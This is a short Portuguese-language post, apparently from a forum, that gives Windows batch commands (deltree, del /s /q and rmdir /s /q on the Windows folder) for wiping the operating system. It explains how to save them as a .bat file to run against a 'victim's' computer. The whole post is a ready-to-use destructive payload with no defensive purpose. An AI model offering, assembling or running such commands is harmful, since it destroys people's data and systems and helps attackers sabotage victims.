Para Windows 98:
deltree/y c:windows*.*
(Deleta Tudim que tive no PC).

Para Windows XP:
del /s /q c:windows
(Deleta tudo que há dentro do Windows, Ex: Arquivos, pastas não.)

rmdir /s /q c:windows
(Deleta tudo do Windows)- Ainda não testei :P Mas ja testei com outras pastas sem ser do windows e, deu certo :P Então não vejo porque com a do Windows não Funcione

Modo de usar: Copia um destes comandos, de acordo com o Windows da Vítima, cola no Bloco de Notas ou NotPad, como quiserem e vai em Arquivo> Salvar como e salva como extenção .bat. (Ex: XauTiu.bat).